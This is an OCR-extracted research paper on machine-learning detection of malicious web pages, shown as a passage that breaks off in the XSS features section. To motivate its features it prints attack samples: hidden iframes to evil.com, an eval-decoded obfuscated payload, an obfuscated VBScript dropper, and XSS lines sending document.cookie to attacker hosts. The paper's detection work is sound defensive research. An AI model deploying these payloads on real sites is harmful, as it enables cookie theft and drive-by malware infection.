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Recent improvements in web standards and technologies enable the attackers
to hide and obfuscate infectious codes with new methods and thus escaping
the security filters. In this paper, we study the application of machine learning
techniques in detecting malicious web pages. In order to detect malicious
web pages, we propose and analyze a novel set of features including HTML,
JavaScript (jQuery library) and XSS attacks. The proposed features are
evaluated on a data set that is gathered by a crawler from malicious web
domains, IP and address black lists. For the purpose of evaluation, we use
a number of machine learning algorithms. Experimental results show that
using the proposed set of features, the C4.5-Tree algorithm offers the best
performance with 97.61% accuracy, and Fl-measure has 96.75% accuracy. We
also rank the quality of the features. Experimental results suggest that nine of

the proposed features are among the twenty best discriminative features.

© 2017 ISC. All rights reserved.

1 Introduction

he development of tools and standards for the

design and development of web pages has led
to an increase in web-based attacks and other mali-
cious code. This malicious code can install malware
on users’ computers for various purposes such as a
user’s browser or steal sensitive data, are embedded
in a web page [1, 2]. Recent developments in web
standards have led Attacker malicious code to ap-
ply new methods and hide or obfuscate them in a
way that could identify security filter malicious code,
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escape [3]. Due to technical upgrading existing oper-
ating systems and user awareness of the vulnerabil-
ity of the malware and keep the operating system,
the release of malware have traditionally been very
difficult. This has led to vulnerabilities in user appli-
cations are considered invaders. Among users of vul-
nerable programs, web browsers to attackers are the
most popular among users due to its acquisition. The
attackers using crafted web pages to exploit vulnera-
bilities in the user’s browser or plug them. Therefore,
identification of infected web pages is one area that
has recently been considered by researchers. Among
existing methods, methods of performance required
for use in environments such as the user’s browser in
real time is important.

HTML is known as the primary hypertext markup
language for representing the information on web
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pages. DHTML is an improved version of this web
markup language [4]. In this markup language, new
capabilities are introduced to the HTML, with which
the web designers can have better control on the com-
ponents of a web page. The DHTML language is a
combination of static markup language (like HTML),
the client-side scripting language (like JavaScript),
a presentation definition language (Cascading Style
Sheets or CSS) and document object model [5]. The
simplest methods for detecting the malicious web
pages are the blacklist methods (e.g., Google safe
browsing service). In these methods, a list of IP, URL
and malicious domains, made by Internet user re-
ports, honey-clients or custom analysis techniques, is
generated. Then when a web page is requested, it is
searched in this list, and if found, the page is reported
as a malicious website [6]. Another method of detect-
ing the malicious web pages are the signature based
methods (such as commercial antiviruses). In these
methods, a list of different attack structures is stored.
Distinct features of malicious codes are as follows: 1-
the codes are in the form of pure text, 2- there may
exist multiple layers of links to remote pages, 3- the
obfuscation is easy. This means that there is a need
to methods that are more efficient than the existing
signature-based methods.

Web attackers always develop new ways of per-
forming their malicious activities. Therefore the fea-
tures that are used to detect these attacks become
less and less effective. One way of developing new
and more successful malicious code detection systems
is to study the technologies and web development
tools. Moreover, because of the dynamic structure of
the web codes, the machine learning based methods
are among the best methods for detecting malicious
codes [2, 7]. In this paper, we study machine learn-
ing techniques in detecting the malicious pages. Most
of the previous research in this area target a small
range of attacks, or the features they use are not fit
to the last developments in web page design. In order
to detect malicious web pages, in this paper, we try
to propose and analyz a new set of features including
HTML, JavaScript (jQuery library) and XSS attacks.
To propose a better algorithm, we also study the CSS
file of the web pages. In this paper, we assume that
there is no security precaution, and with receiving
web page contents, it should be decided that whether
or not the page is malicious. The model is presented
in Figure 1.

2 Related Work

There are two main methods for malicious web page
detection: the dynamic and the static methods. In
dynamic methods, there should exist a monitoring
environment in which the web page contents are ren-
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dered. In these methods, through a dynamic analysis,
a complete monitoring on the behavior of the codes
and the possible attacks is performed. The false posi-
tive rate in the detection system of these methods is
quite low. The problem with this method, however, is
its speed and scalability. In static methods, the detec-
tion process, the static features of the web pages like
the web content (HTML and JavaScript features),
URL and host features are used. The static meth-
ods, therefore, are faster than the dynamic ones. In
another work [8], a malicious code detection system
is designed which is based on abnormal HTML tag
visibility. To detect abnormal tags, they use the web
page code structures and then find the exact location
of the codes. This detection method is not a complete
method, as it is only based on the detection of the
abnormal visibility state of the web page codes [9].

In [10] objective is to find which discriminative
features characterize the attack and reduce the false
positive rate. The algorithm is based on two features
group, the URL lexical and the page content features.
The experiments have shown the expected results
and the high false positive rate which produced by
machine learning approaches are reduced. In [11] a
methodology to identify malicious chains of HTTP
redirections is developed. They build per-user chains
from passively collected traffic and extract novel sta-
tistical features from them, which capture inherent
characteristics from malicious redirection cases. Then,
they apply a supervised decision tree classifier to iden-
tify malicious chains. Using a large ISP dataset, with
more than 15K clients, they demonstrate that their
methodology is very effective in accurately identify-
ing malicious chains, with recall and precision values
over 90% and up to 98% .

In [12], a new method for analysis and detection
of malicious JavaScript codes is proposed in which
the abnormal detection and emulation are combined.
In this method a system is developed that uses a
number of features and machine-learning techniques
to establish the characteristics of normal JavaScript
code. In another work [13], a filter is designed for
detecting malicious web pages, which uses static web
page analysis based on machine learning techniques.
They use HTML, JavaScript, URL and host-based
features in the detection algorithms. The problem
with this method is that the CSS file of the web pages
is not considered in the detection process. Another
problem is that the features used in the method are
not complete and are not compatible with the last
developments in web page design technologies. The
URL features are used in [14], to detect the malicious
web pages. In this method, the lexical features of the
URL, and the host features are used in the learning
process. Since this method only concentrates on URL
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Figure 1. The model of the detection process for malicious web pages.

features, it cannot detect the malicious web page
contents. In another work [3], using machine learning
techniques, a method is proposed to detect malicious
URLs of all the common attack types and to identify
the nature of attacks that a malicious URL attempts
to launch. Textual properties, link structures, web
page contents, DNS information, and network traffic
are employed in the detection algorithm.

In [6], a holistic and simultaneously time
lightweight approach, called BINSPECT is proposed
which is a combination of static analysis and minimal-
istic emulation methods to apply supervised learning
techniques. The authors use URL, page-source and
social reputation features in their algorithm. To
detect one group of attacks called the cross-site
scripting (XSS), more complicated mechanisms are
needed. These attacks use the intrusion and unau-
thorized access methods. XSS enables attackers to
inject client-side scripts into web pages viewed by
other users. The most common purpose in this area
is to steal the victim browsers cookie. Many methods
have been proposed to detect these attacks which
are categorized into two main groups: the server-side
and the client-side detection methods.

[15] presents a complex-valued interval type-2
neuro-fuzzy inference system (CIT2FIS) and derives
its metacognitive projection-based learning (PBL) al-
gorithm. Metacognitive CIT2FIS (Mc-CIT2FIS) con-
sists of a CIT2FIS, which realizes Takagi-Surgeons-
Kang type inference mechanism, as its cognitive com-
ponent. A PBL with self-regulation is its metacog-
nitive component. The performance comparison and
statistical study clearly show the superior classifica-
tion ability of Mc-CIT2FIS. Finally, the proposed
complex-valued network is used to solve a practical
human action recognition problem that is represented
by complex-valued optical flow-based feature set, and
a human emotion recognition problem represented us-
ing complex-valued Gabor filter-based features. The

performance results on these problems substantiate
the superior classification ability of Mc-CIT2FIS.

[16] explores a lightweight approach to detect and
categorize the malicious URLs according to their at-
tack type. They show that lexical analysis is effective
and efficient for proactive detection of these URLs.
They provide the set of sufficient features necessary
for accurate categorization and evaluate the accuracy
of the approach on a set of over 110,000 URLs. [17]
compares machine learning techniques for detecting
malicious web pages. In this paper, therefore, alter-
native and novel approaches are used by applying
machine learning algorithms to detect malicious web
pages. In this paper, three supervised machine learn-
ing techniques such as K-Nearest Neighbor, Support
Vector Machine and Naive Bayes Classifier, and two
unsupervised machine learning techniques such as K-
Means and Affinity Propagation are employed. All
these machine learning techniques have been used to
build predictive models to analyze a large number of
malicious and safe web pages. These web pages were
downloaded by a concurrent crawler taking advan-
tage of given. The web pages were parsed and vari-
ous features such as content, URL, and screenshot of
web pages were extracted to feed into the machine
learning models.

3 The Proposed Method

The first and most important step in designing a
machine learning based intrusion detection system
is the feature extraction. If a good machine learning
method is trained with not very good features, the
detection method does not provide appropriate re-
sults [18]. In this paper, we use content features of
web pages including the HTML (including HTML5)
and JavaScript features. We also consider the CSS
file of the web pages, a method which has not been
studied before. (The main procedure of malicious web
page codes detection using machine learning methods
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is presented in Figure 2.)
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Figure 2. The procedure of machine learning based malicious
web page detection system.

The most recent and widely used technology in web
design is the jQuery. jQuery is a library of JavaScript,
that is based on JavaScript core an it provides new
powerful tools in web page technology. This library is
designed to make the changes on HTML documents
easier and is widely used by the web page designers.
To the best of our knowledge, the features of this
tool have never been used in any of previous research
and in this paper, for the first time, we use jQuery
features in malicious code detection.

Due to their complexity and importance, cross-site
scripting (XSS) attacks need more Specific filters
(apart from HTML and JavaScript features). There-
fore, along with the web page content features, there
is a need to a filter for extracting XSS attack features,
to detect these sets of attacks on the user side.

The rest of this paper is organized as follows. In
Section 4, the feature selection step which consists
of four main parts is explained in details. Section 5
introduces the classification algorithms used in this
paper. In Section 6, the data gathering method for
the training and test purposes, and the model imple-
mentation methods are discussed in details. Section 7
summarizes the experiments performed based on dif-
ferent criteria.

4 Feature Selection

In order to design a more efficient malicious web
page detection system, better features should be se-
lected. These features should be representative of the
malicious web pages and should not cause the algo-
rithms to produce false negative or false positive re-
sults. In this respect, depending on the number of
the selected feature categories, feature extraction en-
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gines are needed. Many of machine learning based
malicious web page detection methods investigate the
web page contents and extract different features from
web pages. For example, the features could be the
document length, average word length, the number
of words, hidden objects, etc. Then these features
are used as the input for the classification algorithms
both for the training and test purposes. In order to se-
lect the features, we tried to find more discriminative
features. If non-discriminative features are selected,
the time complexity increases and at the same time
the precision of the classification algorithms decreases.
On the other hand, in order to design a better se-
curity system, a larger number of features that are
more representative of malicious web pages is needed.
Therefore a better understanding of the features is
required and the features should be selected carefully,
so the detection system works better.

4.1 HTML Features

The tags in HTML standards make it possible to
attack the computers through malware’s or to redirect
the users to infected websites. One example of the
HTML tags that can be used for attacks to load the
contents of a malicious web page are the iframe tags.
For example the following iframe loads and displays
the contents of Evil.com website:

<iframe src=" Evil.com " ></iframe>

These tags are used by attackers to load other in-
fected pages into the web page. This is usually per-
formed in an invisible way to the users. For example:

<iframe src=" Evil.com " width=0 height=0></iframe>

As shown, the attacker has loaded the content of a
malicious web page into a page. Here, since the width
and the height of the tag are zero, the tag is not
visible to the user. One other example of the tags that
can be used for the attacks are the embed tags, which
are used to embed special files to be displayed on
web pages. For example, in the following, an infected
embedded tag loads a malicious flash file to a web

page:

<embed src="http://evil.org/badflash.swf"
pluginspage="http://evil.com?P1_Prod_
Version=ShockwaveFlash" type="application/
x-shockwave-flash"width="0" height="0"></embed>

The malicious HTML codes usually show some tex-
tual features, for example, their line length, or word
length is greater than a threshold. This is because
they use some encoded characters. These features can
be employed by the machine learning methods for
the recognition purpose.

The HTML features proposed in previous work in-
clude, the number of frame, iframe, object, Script,
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applet, embed, style , XML, Form, Meta, IMG, a and
link tags, the size of iframe, the number of hidden
elements, the number of elements with a small area,
the presence of scripts with a wrong file name exten-
sion, the percentage of unknown tags, the number
of elements containing suspicious content, the num-
ber of suspicious object tags, the number of out of
place elements, the number of elements whose source
is on an external domain, the number of included
URLs, the presence of double documents, the number
of same-origin links, the number of different origin
links, the number of external-JavaScript files, sym-
metry of script tag, the number of meta refresh tags
, HTML document level features (including the num-
ber of characters in the page, the percentage of white
space in the page, the percentage of scripting content
in a page and null space count). Following we present
the HTML features proposed in this paper.

4.1.1 The number of hidden elements by
javascript, jQuery and CSS

As mentioned before, most of the tags that contain
malicious sources, are put in the page as hidden tags.
In previous works, finding hidden tags in a web page
is performed at the tag level. In the following codes,
hiding-in-the-tags methods are presented.

<!--first Method-->

<a href="#"id="someID"width="Opx"height="0px">
Check</a>

<!--second Method-->

<a href="#" id="someID" style="display: none">
Check</a>

<!--Third Method-->

<a href="#" id="someID" style="visibility:hidden">
Check</a>

Other than hiding a tag in the same level, attack-
ers sometimes hide the tags using other strategies.
Following we present these methods. The following
codes show how the HTML tags can be hidden in a
page using JavaScripts DOM functions.

// First Method

document . getElementByID(someID) .style.visibility=
"hidden";

// second Method

document . getElementByID(someID) .style.display="none";
// third Method

document . getelementbyid(’elementName’)
.setAttribute(’visibility’,’hidden’);

// fourth Method

document .getelementbyid(’elementName’)
.setAttribute(’display’,’none’);

// fifth Method

document . getelementbyid(’elementName’)
.setAttribute(’width’,’0’);

// sixth Method

document .getelementbyid(’elementName’
.setAttribute(’height’,’0%);

Using the jQuery functions is another way of hiding
a tag on a page. The following codes show how the
HTML tags can be hidden in a page using the jQuery
functions.

// First Method

$(someID) .attr(’display ’, ’ none ’);
// second Method
$(someID) .attr(’visibility ’, ’hidden ’);

// third Method
$(someID) .attr(’width’’,
// fourth Method
$(someID) .attr(’height’, ’0 ’);

0 ;);

Apart from using CSS codes in the tags element,
the style tags can also be used to hide the form
elements. For example, in the following codes, all the
tags named hiddenElement are hidden.
<style>
/*first methodx*/
hiddenElemans {width: Opx;height:Opx;}

/*second method*/

hiddenElemans {Display:none:}
/*third ethod*/

hiddenElemans {Visibility: hidden;}
</style>

Hiding the tags in CSS file codes is the same as
the methods presented above. For detecting these
codes, we also investigate the external CSS codes of
the current page. To do so, the crawler first reads the
contents of the web page, then reads the external CSS
files and puts these codes into the Style tag and adds
them to the HTML codes on the web page. These
codes, in the form of CSS web page codes, are then
investigated in the feature extraction process by the
HTML code feature extractor engines. The procedure
is shown in Figure 3.

In order to detect the hidden elements, we design a
filter which investigates the content of Script tags, the
events of suspicious tags and CSS codes in style tags
and finds tag hiding patterns. The suspicious tags
include area, img, source, sound, video, body, applet,
object, embed, iframe, frame, and frameset. Figure 4
shows the process. Upon finding the hidden patterns,
the number of hidden elements (the proposed method)
feature is incremented.

4.1.2 The number of times suspicious
FrameSet tags are used

As mentioned before, the frame tag is one of the tags
that is susceptible to malicious attacks. Frameset
tag is used to hold the number of frame tags. The
following code shows a hidden frameset tag in which
an infected frame is inserted.

<frameset style="visibility:hidden"><frame src=

"http://evil.com/virus.exe">
/ﬁiii:)

</frameset>
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One common way of hiding frame tags in a
frameset is to use rows and cols. For example in the
following code the attacker hides frame_b in a page.
<frameset rows="100%,*" frameborder="no" border="0"
framespacing="0">
<frame src="frame_a.htm">
<frame src="frame_b.htm">
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</frameset>

To detect the frames that are hidden by the
frameset tag, the rows and cols attributes are inves-
tigated, and if one of the frames were 100%, while
the other frames were not assigned, the suspicious
framset feature is incremented.

4.1.3 The number of times suspicious
noframe tags are used

The noframes tag is a fallback tag for browsers that
do not support frames, but usually attackers put their
infected elements in this tag. For example, consider
the following code:

<frameset><frame src="http://MalSite.com"></frameset>
<noframes>

<!--Attackl-->

<a href="http://MalSite.com">Prize</a>

<!--Attack2-->

<meta http-equiv="refresh" content="5; url=http:
//MalSite.com">

</noframes>

To detect the number of suspicious noframe tags,
two possibilities are considered. First if the noframe
tag has an a tag and the scr attribute of the a tag were
greater than 150 characters. Second if the noframe
tag has a meta tag in the form of refresh. If any of
the above possibilities were detected, the number of
noframe tags is incremented.

4.1.4 The HTMLS5 malicious potential tags

Among the HTML5 tags that can be used for mali-
cious activities are the embed, video, audio,track
and source tags. Since these tags are capable of load-
ing files in themselves, similar to object, iframe and
frame tags, these tags can also be malicious. In the
following code a video file from a malicious web page
is hidden.

<video width="0" height="0" controls>

<source src="www.evil.com/malicious
.mp4" type="video/mp4"></video>

In this respect, we propose the number of sound,
video, track and source tags that have external
sources or value of their src attributes is greater than
150 character, and the number of hidden sound,
video, track and source tags (based proposed
method) as features.

4.1.5 The number of encoded HTML
characters

In order to escape the security filters, the attackers
sometimes encode the characters using HTML entity
code. For example, in HTML encoding system, the
& character is encoded as &#38;. In the following
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HTML code, in order to escape the iframe detection
filter, the attacker has used the HT'ML encoding;:
&#60; 4#101; 4#109; 4#98; &#101; &#100; &#32; &#115;&
#114;8#99; &#61 ; &#34; &#32;&#109; &#97 ; &#108; &4#105;

&HO9; u#105; 4#111; 4#117 ; 4#115; 4#46;&#115;&#119; &#
102;&#32; &#34; 4#32; &#119; &#105; &#100; &#116;&#104;

GH61; L34 ; LHAS; L#34; E#32; E#104;&#101 ; &#105;&#103;
SH#104;&#116; L#61; L#34; L#A8; L#34; 4#62;

the decoded HTML code of the above is:

<iframe src=" Evil.com " width=0 height=0></iframe>

In order to detect these set of attacks, all the
strings (by string we mean the words separated by
a space) in a HTML text are parsed, and if the pat-
tern“&#+Number;” occurs for two or more times
in the string, the feature representing the number of
encoded strings is incremented.

Also some strings are reserved for some specific
characters. For example, in order to represent “<”,
the string “&It;” is used. A complete list of specific
characters can be found in reserved HTML characters.
The specific characters are also used by the attackers
to escape the security filters. For example consider
the following malicious iframe:

<iframe src=" Evil.com " width=0 height=0></iframe>

the encoded version of the above malicious iframe
with specific characters is as follows:
&lt;iframe src=&quot; Evil.com &quot; width=0 height=0
&gt ; &lt;
/iframelgt;

To find this set of strings, the texts are parsed and
if any of the reserved strings in reserved HTML char-
acters was found in the text, the feature representing
the number of encoded HTML is incremented.

4.1.6 The number of times encoded URLs
are used

In URL web addressing, sometimes the HTML ASCII
code of the characters is used. For example, in the
URL encoding system, the & character is encoded
as %26. Decoding a URL is simply performed using
URLEncode JavaScript function. To escape the se-
curity filters, the attackers usually use the encoded
characters for the malicious URLs. For example the
following tag contains an encoded malicious URL:
http://target/getdata.php?data=/,3cscript’20

src=Y,22http%3ak2f%2fwww.badplace. com/2fnasty
.jsh22%3e%3ch2f scripti3e

the decoded version of the above link is as follows,

http://target/getdata.php?data=<script src=
"http://wuw.badplace.com/
nasty.js"></script>

To find the encoded URLs the attributes of the tags

shown in Table 1 are investigated, and if the patterns
“% +hexadecimal number” or “&#-+Number;” occur
for five or more times in the string, the number of
encoded URLs is incremented.

4.1.7 Number of IP addresses in element
sources

Many hackers use the IP address to escape the black
list of security filters. The attributes and the tags
used to detect the IP addresses are shown in Table 1.
If there appears any IP address in the element source,
this feature is incremented by one.

4.2 JavaScript Features

Using JavaScript functions, the attackers adopt dif-
ferent techniques to escape the security filters. Some
examples are shown in the following codes:

<script>

var t=" u;

var arr="646f63756d656e742e777269746528273c696672616d
65207372633d22687474703a2f2f766e62 757974612¢636£2e62
652f666£72756d2e7068703£74703d36373565616665633433316
231663732222077696474683d223122206865696768743d223122
206672616d656261726465723d2230223e3c2f6 96672616d653¢
2729";

for(i=0;i<arr.length;i+=2) t+=String.fromCharCode (
parselnt(arr[i]+ arr([i+1],16));eval(t);</script>

In this code, the attacker uses the FromCharCode
function to convert the Unicode to a string of char-
acters, and the ewval function is used to run the code.
Running the code, the result is as follows:

document.write(’<if rame src="http://vnbuyta.co.be/
forum.php?

tp=675eafec431b1f72" width="1" height="1"
frameborder="0">

</if rame>’)

Another example is that because the attackers usu-
ally use string functions to obfuscate and encode their
codes, the number of times the string modification
functions are used can be a good feature for malicious
code detection.

In order to investigate the malicious codes, we try
to use the features that are affected by the attacks.
We have therefore conducted a thorough study on
the web page malicious codes, and tried to identify
their structures, to propose new features that are
more representative of the malicious codes, and tried
to identify their structures, to propose new features
that are more representative of the malicious codes.
To investigate JavaScript features in the page, inner
HTML of Script tags and the content of external
JavaScript codes are examined. The JavaScript fea-
tures which are usually used in different research; In
[8] the number of times the suspicious functions are
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Table 1. The investigated tags and features for three of proposed HTML features.

Feature

The investigated tags

Operation for finding feature

The number of hidden tags (the
proposed method)

The number of encoded URLs
and The number of IP address
in elements sources

Script, Style

img

object

frame, iframe, embed, script,
video,sound, source, style, audio,
track,input, bgsound

applet

Inner html of tags for finding
special patterns

The value of src, lowsrc and
dynsrc attributes
The value of data attribute

The value of scr attribute

The value of code attribute

link, a, base, area

meta (refresh type)

body

The value of href attribute

The value of URL in content
attribute

The value of background
attribute

used (including link, number, exec, evil, escape, from
Char Code, set interval, set timeout, document. Write,
create Element, Unbound, Global and UN escape
functions), the number of times location.href and doc-
ument. Cookie properties are used, the ratio between
keywords and words, the probability of the script con-
taining shell code, the number of string modification
functions, the number of event attachment functions,
the number of strings that contain iframe, the number
of suspicious objects used in the script, the number
of suspicious strings, the number of DOM modifica-
tion functions, the number of strings that contain
the name of the tags that can be used for malicious
purposes, the number of times the ActiveX object
and statistical features including the number of long
strings, the number of string direct assignments, the
scripts whitespace percentage, the average length of
the strings used in the script, the average script line
length, the maximum length of the scripts, the en-
tropy of the strings declared in the script, the entropy
of the script as a whole and the maximum entropy
of all the scripts strings. The JavaScript features pre-
sented in this paper are as follows.

4.2.1 The number of times JavaScript
Global functions are used

Global JavaScript functions are widely used by at-
tackers for obfuscating malicious tags. For example
the encodeurl JavaScript function is used to encode
the characters in URL addressing. In the following
malicious code, the attacker sets the source of an im-
age to a non-valid link of a trusted website in which
the user has cookies.

<script language="javascript">

var url = "http://www.trusted.com/index.html?cookie=";
url = url + encodeURI(document.cookie);
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document . getElementById("pic").src=url;</script>

When the request is sent to the trusted server, since
the web page does not exist, an error message is dis-
played and the code encode URL (document.cookie) is
processed. When the code is run, the cookies of the
website are read, and using encode URL function, are
converted to the standard URL formats, and then are
stored in the source of the image. Some JavaScript
global functions have been studied in previous work.
The functions escape and unspace which are consid-
ered as global functions, are among the malicious
functions that are used by the attackers to obfuscate
their malicious codes. The encoding functions of URL
like decodeURL and encodeURL also serve the same
role as these functions. In this respect, the number of
times the parseint, parsefolat, decode URLComponent,
decodeURL, encodeURL and encodeURLComponent
functions are used as a feature for detecting malicious
web pages.

4.2.2 The number of times the document
properties are used

Each HTML document that is loaded into a browser
is considered as a “document” object, and each doc-
ument has some properties. For example the Docu-
ment.cookie returns cookies stored by this document.
Usually the attackers use these features to steal in-
formation and perform their attacks. For example
in the following malicious code, in order to send a
copy of the victim’s information to the evil site, Doc-
ument.cookie property is used:

<img src="http://trusted.org/account.asp?ak=<script>

document.location.replace(’http://evil.org/steal.cgi?’
+document . cookie) ;</script>">

In another example, the attacker in the following
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code redirects the user to another malicious site by
setting the documentURI property of the document
object.

document .documentURI="http://www.evile.com/malware.exe";

The properties of a document object can be the
initial sources of taint values. The proposed prop-
erty features in this paper are the number of times
the domain, title, links, referrer, last modified, forms,
search, pathname, URL and action properties are
used.

4.2.3 The number of times the
getComputedStyle function is used

In order to illegally trace the users and discover their
activities, attackers usually insert hidden links into
the pages. In most of the browsers, when a user opens
a link, the color of the link changes. The attackers
use this property for illegally tracing the users.

var links = document.links;

for (var i = 0; i < links.length; ++i)
{ var link = links[i];

if (getComputedStyle(link, "").color
== "rgb(0, 0, 128)") {

// we know link.href has not been visited
}

else{

// we know link.href has been visited
}

}

The function getComputedStyle returns the last
CSS style of a particular element. In this respect, in
order to detect these attacks, the number of times
the JavaScripf function getComputedStyle is used, is
considered as a feature for malicious code detection.

4.2.4 http request type (get or post)

The “Get” method allows to send parameters
through URL in the form of querystring. The “post”
method on the other hand allows to send them
via HTTP message body. Sending the parameters
through URLs, gives the opportunity to the attack-
ers to inject their malicious codes into the URLs.
For example in the following code, the attacker has
inserted a malicious code in the URL,
http://host/personalizedpage.php?username=<script>
document.location="http://trudyhost/cgi-bin/

stealcookie.cgi?’
+document.cookie</script>

The type of the sent parameters in the form of
"post* or "get“ are specified in the form tag and
stored in the method attribute. Therefore the method
attribute of the form tag is a good feature for mali-
cious web page detection.

4.2.5 Working with the location object

The “location” object includes some information
about the URL of the HTML documents. The at-
tacker can employ these features to redirect the users
to malicious pages or to perform other malicious
activities. See for example,

<img src="http://Evil.org/account.asp?ak=<script>

document .location.replace(’http://Trusted.org/
steal.cgi?’+location.search;</script>">

In this code the attacker has used the search prop-
erty from the location object. The search property
returns the information that is sent in a query string
in an URL address. For example consider when a
user signs in a website, and the URL address be-
comes http://www.example._
com/submit.htm?username=sara& password=123.
When the attacker uses the search property, user-
name=sara&password=123 is returned. This means
that important information like username and pass-
word may be embedded in the quarry of a URL. In
the example code presented above, using the search
property, the attacker reads this information and
embeds them in the source of an image.

The properties of a location object can also be the
initial sources of taint values. Therefore the proper-
ties and functions of the ”location“ object are good
candidates for the feature set of a malicious code de-
tection system. In this paper we propose the follow-
ing features: the number of pathname, port, host-
name, host, hash, protocol and search, and the assign,
reload and replace functions.

4.2.6 The number of times the suspicious
document.write is used

The write method writes HTML expressions or
JavaScript code to a document. Using this function,
the attackers inject their malicious codes into a web
page, and as soon as the page is loaded, the codes
are executed and infect the user’s system. For ex-
ample in the following code, the attacker uses write
function to inject an infected frameset into a page.

169

document .write("<frameset rows="100%,* "frameborder="no"

border="0" framespacing="0">
<frame src=""http://malsrc.com"">
</frameset>")

Another example is when an attacker inserts an
infected script into a page.

// example 1

document .write(unescape("%3Cscript src=’http://malsrc.com’

type=’text/javascript’}3E%3C/script%3E"));

// example 2
document .write("<scr"+"ipt src=’" +http://badsite.com+

"/mal.js’></scr"+"ipt>");
/ﬁiii:)




To detect suspicious document.write, the text of
the web page is investigated and if the special pat-
terns are found, the feature representing the number
of suspicious document.write is incremented. These
patterns are shown in Table 2.

4.2.7 The jQuery functions

If instead of the JavaScript functions, the attacker
use the functions in jQuery library, a malicious
web page detection system that is only based on
javascript features (without using jQuery library) is
not accurate. For example the following code shows
an attack that uses Jquary functions to inject a code
to the body tag.

var input =<script>alert(’Document.Cookie’);</script>"
$(input) . appendTo ("body") ;

In another example the attacker uses the addClass
Jquary function to hide the content of a malicious
embed tag.
<style>
.hidden { height: Opx; width :0px; }
</style>
<embed src="malwrae.swf">
<script>
$("embed") .addClass ("hidden") ;
</script>

Another example is the hide function, which can
be used to hide a malicious HTML element.

<iframe src="maliware.com">
<script>$("iframe") .hide();</script>

As observed in the above code, an attacker could
use the hide function to hide a malicious tag in a
page. The globalFEval is another Jquary function
which can be used by the attackers to run their
codes. The ”event“ functions in the jQuery library,
like error, could also be employed by the attackers
to inject their malicious codes in an element in case
of an error event. For example,
<img alt="Book" id="book" scr=www.invalidaddress.com/>
<script>
$(’#book’) .error(function() {
window.location.href =

http://maliciousWebsite.com/virous.exe;}
)</script>

Attackers can write malicious codes in JavaScript
with Jquary functions. Therefore in order to detect
the malicious attacks written with Jquary library, we
propose a number of Jquary features, including the
number of HTML/CSS, event, effect, traversing and
misc jgeury functions. A complete list of functions
and objects in API documents are found in jQuery
APIL
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4.2.8 New Potentially Malicious Events in
HTML5

As mentioned before, some newly added tags to
HTMLS5 potentially increase the malicious activities.
For example in the following tag, after an error oc-
curs, the error event activates and runs a malicious
code,

<video omerror= javascript:alert(1l) >
<source>

The new events added to HTML5 make the at-
tacker able to launch their malicious attacks and
escape the security filters. Some example of these
events includes on focus, info change and on form in-
put. For example see the following,
<form id=test

<input> </form>
<button form=test onformchange=alert(2)>X

onforminput=alert(1)>

One other example is the use of the onfocus event
for calling a malicious code,

HTML5:-->

<input type= text value= >Injecting here
onmouseover= alert(Injected value) >
<!--using HTML5:-->

<input type= text value= >Injecting here
onfocus= alert(Injected value) autofocus>

<!--Before

The API, drag and drop events which are added to
HTMLS5, give the attacker the opportunity to inject
their malicious codes into the events (for example
in games when the drag action is performed). These
new events are categorized into the following groups:
form, window, media and mouse. A complete list of
these events could be found in HTML5Events. We,
therefore, propose the number of times these events
are used as a feature for classification algorithms.

4.3 VBScript Features

VBScript is the script version of Visual Basic lan-
guage which is used in Internet Explorer browser.
As mentioned earlier, using different functions in
JavaScript, like string functions, the attackers can
make their attacks less detectable. In VBScript,
there are also some functions that give the attackers
the power to obfuscate their attacks. For example
in the following code, the actual content is obfus-
cated in the Cn911 variable, by substituting each
character with its ASCII code.

<script language="VBScript">
Cn911="83,61,34,51,67,53,...,84,69,32,68"

Function Rechange(Q)

S=split(Q,",")

Cn922=""

For i = 0 To UBound(S)

Cn922=Cn922&Chr (eval (S(i)))
Next
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Table 2. Investigate Patterns for finding suspicious document.write

Patern

1 document.write(<

[\

document.write(%3
document.write(unescape(<

document.write(unescape(%3

document.write(decodeURI(<

document.write(decodeURI(%3

© oo N o ot s W

document.write(fromCharCode(<
10 document.write(fromCharCode(%3
11 document.write(escape(<

12 document.write(escape(%3

document.write(decodeURIComponent (<

document.write(decodeURIComponent (%3

+ script, scr, iframe, frame, frameset,
object, a, link, style, embed, applet, meta,
area,source, video, sound

Rechange=Cn922

End Function

EXECUTE (Rechange (Cn911))
</script>

In the above code, the attacker uses split, ubound
and ewval functions to obfuscate the malicious codes.
The following code shows the decryption of the above
code.

<Script Language=VBScript>

On Error Resume Next

Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid",
"clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"

Set Pop = Ob.Createobject("Adodb.Stream","")

If Not Err.Number = O then Err.clear
Document.write("<embed src=flash.swf>

</embed>")

Document.write ("<iFrame src=real.htm width=0 height=0>
</ifrAme>")

Document.write ("<iFrame src=new.htm width=0 height=0>
</ifrAme>") Else

Document.write ("<iFrame src=help.htm width=0 height=0>
</ifrAme>")

End If</Script>

In this paper, we propose the number of times VB-
Script functions are used as a feature for the classi-
fication algorithm. These functions include the num-
ber of date/time, conversion, format, math, array,
string and other functions. A complete list of VB-
Script functions is available in VBScriptFunctions.

4.4 XSS Attack Features

The XSS attacks include a wide variety of attacks,
some of which are the server side (for example, SQL
injection) and client-side attacks and those that are
performed by web robots. In 2011, XSS regained its
title as the most prevalent website vulnerability that

was found in 55% of websites [19]. There are three
types of XSS attacks including the persistent, no per-
sistent and DOM based attacks [20]. In the following
code, an example of no persistent XSS attacks is pre-
sented. In this code, the attacker inserts an infected
link into its web page to redirect the user to another
website (a website which the user has opened before)
and steals the cookies of the website.

<a href = "http://www.trusted.com/
<SCRIPT>document.Location="http://www.evil.com/
stealcookie.php?"+document.cookie; </SCRIPT>">
Click here to collect price</a>

In persistent XSS attacks, the malicious code is
stored in the source of an element in a page (like an
image) that is managed by the server, and when the
page is loaded into the user’s browser, the malicious
code is executed.

<SCRIPT>

document. images[0].src =
http://evil.com/images.jpg?stolencookie +
document.cookie;

</SCRIPT>">

The methods for preventing the XSS attacks are
categorized into two main groups: the static and the
dynamic methods. The dynamic methods, like the
proxy-based methods, usually focus on transferring
sensitive information. The static methods, on the
other hand, are based on syntactic structure analy-
sis of XSS attacks [19]. In this paper, we study the
client side XSS attacks and use static parsing text
to study the XSS attack features. We also employ
the OWASP ! project. To design the XSS feature ex-
traction engine. In XSS laboratory, OWASP project
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171




studies different vectors, based upon the XSS attack
types. In this paper, we use these vectors in the form
of XSS attack features. These vectors were described
for special tags and some specific conditions, while
in this paper we generalize them to cover all the
potential malicious tags. Also in studying the injec-
tion code attacks with events, we investigate all the
events (including the new events in HTML5) for the
potentially malicious tags to detect suspicious func-
